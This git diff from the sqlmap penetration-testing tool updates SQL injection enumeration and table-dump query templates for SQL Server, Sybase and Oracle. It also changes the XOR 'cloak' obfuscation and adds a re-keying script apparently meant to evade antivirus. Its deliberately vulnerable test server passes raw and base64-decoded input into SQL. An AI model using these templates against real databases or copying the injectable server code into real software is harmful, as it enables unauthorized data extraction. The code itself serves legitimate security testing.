<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -307,7 +305,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -328,7 +325,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -588,7 +588,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -610,7 +609,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -631,7 +629,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -652,7 +649,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -674,7 +670,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -696,7 +691,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1638,7 +1632,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1936,7 +1929,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -198,11 +198,11 @@
|
|||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
@@ -301,8 +301,8 @@
|
|||||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<search_db>
|
<search_db>
|
||||||
|
|||||||
@@ -6,14 +6,17 @@
|
|||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||||
|
|
||||||
# Version 1.2 (2018-01-08)
|
# Version 1.2 (2018-01-08)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||||
|
|
||||||
# Version 1.1 (2017-04-07)
|
# Version 1.1 (2017-04-07)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||||
|
|
||||||
# Version 1.0 (2016-02-27)
|
# Version 1.0 (2016-02-27)
|
||||||
|
|
||||||
|
|||||||
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
|||||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||||
|
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||||
|
|
||||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||||
* for suggesting good features
|
* for suggesting good features
|
||||||
|
|
||||||
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
|||||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||||
* for contributing a Portuguese translation of README.md
|
* for contributing a Portuguese translation of README.md
|
||||||
|
|
||||||
|
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||||
|
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||||
|
|
||||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||||
* for contributing a tamper script halfversionedmorekeywords.py
|
* for contributing a tamper script halfversionedmorekeywords.py
|
||||||
|
|
||||||
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
|||||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Henri Salo <henri(at)nerv.fi>
|
||||||
|
* for a donation
|
||||||
|
|
||||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2012, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019, Miroslav Stampar.
|
Copyright (C) 2019-2020, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
Copyright (C) 2009, Raymond Hettinger.
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Liens
|
Liens
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
@@ -43,7 +43,7 @@ Tautan
|
|||||||
* Situs: http://sqlmap.org
|
* Situs: http://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
|||||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
|||||||
Instalação
|
Instalação
|
||||||
----
|
----
|
||||||
|
|
||||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
|||||||
@@ -19,28 +19,26 @@ from optparse import OptionParser
|
|||||||
|
|
||||||
if sys.version_info >= (3, 0):
|
if sys.version_info >= (3, 0):
|
||||||
xrange = range
|
xrange = range
|
||||||
|
ord = lambda _: _
|
||||||
|
|
||||||
def hideAscii(data):
|
KEY = b"MOZFqVjlk1CY436G"
|
||||||
retVal = b""
|
|
||||||
for i in xrange(len(data)):
|
|
||||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
|
||||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
|
||||||
|
|
||||||
return retVal
|
def xor(message, key):
|
||||||
|
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||||
|
|
||||||
def cloak(inputFile=None, data=None):
|
def cloak(inputFile=None, data=None):
|
||||||
if data is None:
|
if data is None:
|
||||||
with open(inputFile, "rb") as f:
|
with open(inputFile, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
|
|
||||||
return hideAscii(zlib.compress(data))
|
return xor(zlib.compress(data), KEY)
|
||||||
|
|
||||||
def decloak(inputFile=None, data=None):
|
def decloak(inputFile=None, data=None):
|
||||||
if data is None:
|
if data is None:
|
||||||
with open(inputFile, "rb") as f:
|
with open(inputFile, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
try:
|
try:
|
||||||
data = zlib.decompress(hideAscii(data))
|
data = zlib.decompress(xor(data, KEY))
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
print(ex)
|
print(ex)
|
||||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||||
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
|
|||||||
|
|
||||||
def main():
|
def main():
|
||||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.2')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
export SQLMAP_DREI=1
|
export SQLMAP_DREI=1
|
||||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||||
unset SQLMAP_DREI
|
unset SQLMAP_DREI
|
||||||
source `dirname "$0"`"/junk.sh"
|
source `dirname "$0"`"/junk.sh"
|
||||||
|
|
||||||
|
|||||||
Executable
+16
@@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# NOTE: this script is for dev usage after AV something something
|
||||||
|
|
||||||
|
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
|
||||||
|
|
||||||
|
cd $DIR/../cloak
|
||||||
|
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
|
||||||
|
|
||||||
|
git clean -f > /dev/null
|
||||||
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import base64
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -18,6 +19,7 @@ import traceback
|
|||||||
|
|
||||||
PY3 = sys.version_info >= (3, 0)
|
PY3 = sys.version_info >= (3, 0)
|
||||||
UNICODE_ENCODING = "utf-8"
|
UNICODE_ENCODING = "utf-8"
|
||||||
|
DEBUG = False
|
||||||
|
|
||||||
if PY3:
|
if PY3:
|
||||||
from http.client import INTERNAL_SERVER_ERROR
|
from http.client import INTERNAL_SERVER_ERROR
|
||||||
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
|||||||
try:
|
try:
|
||||||
HTTPServer.finish_request(self, *args, **kwargs)
|
HTTPServer.finish_request(self, *args, **kwargs)
|
||||||
except Exception:
|
except Exception:
|
||||||
traceback.print_exc()
|
if DEBUG:
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
class ReqHandler(BaseHTTPRequestHandler):
|
class ReqHandler(BaseHTTPRequestHandler):
|
||||||
def do_REQUEST(self):
|
def do_REQUEST(self):
|
||||||
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||||
else:
|
else:
|
||||||
code, output = OK, ""
|
code, output = OK, ""
|
||||||
|
|
||||||
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
if "query" in self.params:
|
if "query" in self.params:
|
||||||
_cursor.execute(self.params["query"])
|
_cursor.execute(self.params["query"])
|
||||||
elif "id" in self.params:
|
elif "id" in self.params:
|
||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
if "base64" in self.params:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
|
||||||
|
else:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
output += "<b>SQL results:</b>\n"
|
output += "<b>SQL results:</b><br>\n"
|
||||||
output += "<table border=\"1\">\n"
|
|
||||||
|
|
||||||
for row in results:
|
if results:
|
||||||
output += "<tr>"
|
output += "<table border=\"1\">\n"
|
||||||
for value in row:
|
|
||||||
output += "<td>%s</td>" % value
|
for row in results:
|
||||||
output += "</tr>\n"
|
output += "<tr>"
|
||||||
|
for value in row:
|
||||||
|
output += "<td>%s</td>" % value
|
||||||
|
output += "</tr>\n"
|
||||||
|
|
||||||
|
output += "</table>\n"
|
||||||
|
else:
|
||||||
|
output += "no results found"
|
||||||
|
|
||||||
output += "</table>\n"
|
|
||||||
output += "</body></html>"
|
output += "</body></html>"
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
code = INTERNAL_SERVER_ERROR
|
code = INTERNAL_SERVER_ERROR
|
||||||
